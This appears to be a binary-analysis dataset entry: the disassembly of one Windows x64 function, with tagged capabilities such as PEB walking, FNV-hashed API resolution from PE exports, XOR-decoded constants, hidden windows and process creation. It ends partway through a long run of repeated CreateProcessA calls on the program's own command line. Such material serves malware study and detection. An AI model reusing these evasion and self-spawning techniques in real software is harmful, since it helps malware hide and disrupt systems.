Function at 0x140051ac0
Capabilities:
Accept command line arguments
Access peb ldr_data
Create directory
Create process on windows
Create thread
Encode data using xor
Hash data using fnv
Hide graphical window
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d10]
mov eax, 0x1e10
call fcn.14009aa40
sub rsp, rax
mov rax, qword [0x1402a2cf8]
xor rax, rsp
mov qword [rbp + 0x1c60], rax
mov rax, qword gs:[0x60]
mov rsi, rcx
mov qword [rbp + 0x1c0], rcx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140051b97
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140051b97
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140051b92
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140051b70
cmp r8d, 0xf407fac3
je 0x140051b9c
test r9d, r9d
jne 0x140051b50
mov rax, qword [rax]
jmp 0x140051b20
mov ecx, dword [rdi + 0x24]
lea r8, [rbp + 0x1060]
add rcx, r10
movabs r12, 0x7106c3fc1e0a11fc
movabs r14, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x1b30], r12
mov qword [rbp + 0x1b38], r14
movabs r15, 0x2460a9b5706247bf
movdqa xmm0, xmmword [rbp + 0x1b30]
movabs r13, 0x4ad181987a636988
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
movabs rdx, 0xa852f9fcca6e11fc
mov qword [rbp + 0x1098], rdx
movabs rcx, 0x394119ca4c652797
mov qword [rbp + 0x1070], rcx
add rax, r10
mov qword [rbp + 0x1060], r15
movabs rcx, 0x872b38a9c35653c5
mov qword [rbp + 0x1078], rcx
movabs rcx, 0xeb428cadd9407ccf
movdqa xmm1, xmmword [rbp + 0x1070]
mov qword [rbp + 0x1080], rcx
movabs rcx, 0x6ef8cb8c1d0550ce
mov qword [rbp + 0x1088], rcx
movabs rcx, 0x628287fc8f622989
mov qword [rbp + 0x1090], rcx
movabs rcx, 0x4d786ffc2a5211fc
mov qword [rbp + 0x1b40], rcx
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0x1b48], rcx
movabs rcx, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x1b40]
mov qword [rbp + 0x1b50], rcx
movabs rcx, 0x19bafdfc714611fc
mov qword [rbp + 0x1b58], rcx
movabs rcx, 0x628287fc8f6211fc
mov qword [rbp + 0x1068], r13
pxor xmm0, xmmword [rbp + 0x1060]
movdqa xmmword [rbp + 0x1060], xmm0
movdqa xmm0, xmmword [rbp + 0x1080]
pxor xmm0, xmmword [rbp + 0x1b50]
movdqa xmmword [rbp + 0x1070], xmm1
movdqa xmm1, xmmword [rbp + 0x1090]
mov qword [rbp + 0x1b60], rcx
mov ecx, 0x1f0001
mov qword [rbp + 0x1b68], rdx
xor edx, edx
pxor xmm1, xmmword [rbp + 0x1b60]
movdqa xmmword [rbp + 0x1090], xmm1
movdqa xmmword [rbp + 0x1080], xmm0
call rax
test rax, rax
jne 0x14005a11a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140051dc7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140051dc7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140051dc2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140051da0
cmp r8d, 0x3b6ed297
je 0x140051dcc
test r9d, r9d
jne 0x140051d80
mov rax, qword [rax]
jmp 0x140051d50
mov ecx, dword [rdi + 0x24]
lea r8, [rbp + 0x10e0]
add rcx, r10
mov qword [rbp + 0x1c20], r12
mov qword [rbp + 0x1c28], r14
movdqa xmm0, xmmword [rbp + 0x1c20]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
movabs rdx, 0xa852f9fcca6e11fc
mov qword [rbp + 0x1118], rdx
movabs rcx, 0x394119ca4c652797
mov qword [rbp + 0x10f0], rcx
add rax, r10
mov qword [rbp + 0x10e0], r15
movabs rcx, 0x872b38a9c35653c5
mov qword [rbp + 0x10f8], rcx
movabs rcx, 0xeb428cadd9407ccf
movdqa xmm1, xmmword [rbp + 0x10f0]
mov qword [rbp + 0x1100], rcx
movabs rcx, 0x6ef8cb8c1d0550ce
mov qword [rbp + 0x1108], rcx
movabs rcx, 0x628287fc8f622989
mov qword [rbp + 0x1110], rcx
movabs rcx, 0x4d786ffc2a5211fc
mov qword [rbp + 0x1c30], rcx
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0x1c38], rcx
movabs rcx, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x1c30]
mov qword [rbp + 0x1c40], rcx
movabs rcx, 0x19bafdfc714611fc
mov qword [rbp + 0x1c48], rcx
movabs rcx, 0x628287fc8f6211fc
mov qword [rbp + 0x10e8], r13
pxor xmm0, xmmword [rbp + 0x10e0]
movdqa xmmword [rbp + 0x10e0], xmm0
movdqa xmm0, xmmword [rbp + 0x1100]
pxor xmm0, xmmword [rbp + 0x1c40]
movdqa xmmword [rbp + 0x10f0], xmm1
movdqa xmm1, xmmword [rbp + 0x1110]
mov qword [rbp + 0x1c50], rcx
xor ecx, ecx
mov qword [rbp + 0x1c58], rdx
xor edx, edx
pxor xmm1, xmmword [rbp + 0x1c50]
movdqa xmmword [rbp + 0x1110], xmm1
movdqa xmmword [rbp + 0x1100], xmm0
call rax
xorps xmm1, xmm1
lea rcx, [rbp + 0x1900]
xor eax, eax
xorps xmm0, xmm0
xor edx, edx
mov qword [rbp - 0x68], rax
mov r8d, 0xb0
mov qword [rbp], rax
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
call fcn.1400b6650
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor edi, edi
xor r9d, r9d
mov rdx, rax
xor r8d, r8d
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0x400000
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
xor r9d, r9d
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp - 0x78]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp - 0x60]
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
